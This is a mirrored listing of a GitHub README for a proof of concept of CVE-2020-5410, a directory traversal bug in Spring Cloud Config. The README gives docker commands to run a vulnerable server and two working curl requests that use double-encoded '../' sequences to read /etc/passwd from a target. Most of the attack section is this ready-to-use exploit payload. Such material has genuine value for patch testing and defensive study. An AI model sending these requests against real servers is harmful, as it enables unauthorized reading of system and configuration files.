https://github.com/osamahamad/CVE-2020-5410-POC

CVE-2020-5410 Spring Cloud Config directory traversal vulnerability
https://github.com/osamahamad/CVE-2020-5410-POC

Last synced: about 2 months ago
JSON representation

CVE-2020-5410 Spring Cloud Config directory traversal vulnerability

• Host: GitHub
• URL: https://github.com/osamahamad/CVE-2020-5410-POC
• Owner: osamahamad
• Created: 2020-06-16T20:15:58.000Z (over 4 years ago)
• Default Branch: master
• Last Pushed: 2020-06-16T20:38:41.000Z (over 4 years ago)
• Last Synced: 2024-08-05T17:30:42.134Z (5 months ago)
• Size: 1000 Bytes
• Stars: 32
• Watchers: 4
• Forks: 9
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - osamahamad/CVE-2020-5410-POC - CVE-2020-5410 Spring Cloud Config directory traversal vulnerability (Others)

README

        

## CVE-2020-5410 Spring Cloud Config directory traversal vulnerability

#### Vulnerability description

Spring Cloud Config, version 2.2.x before 2.2.3, version 2.1.x before 2.1.9, and older unsupported versions allow applications to provide arbitrary configuration files through the spring-cloud-config-server module. Malicious users or attackers can use specially crafted URLs to send requests, which may lead to directory traversal attacks.

#### Analysis

https://xz.aliyun.com/t/7877

#### Vulnerable Docker Install

Install any of the vulnerable versions https://hub.docker.com/r/hyness/spring-cloud-config-server/tags

```

docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE

```

```

docker run -it --name=spring-cloud-config-server \

-p 8888:8888 \

hyness/spring-cloud-config-server:2.1.6.RELEASE \

--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo

```

#### PoC

```

curl "vulnerablemachine:port/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

```

```

curl "127.0.0.1:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"

```

/etc/passwd content in response for educational purposes only :) .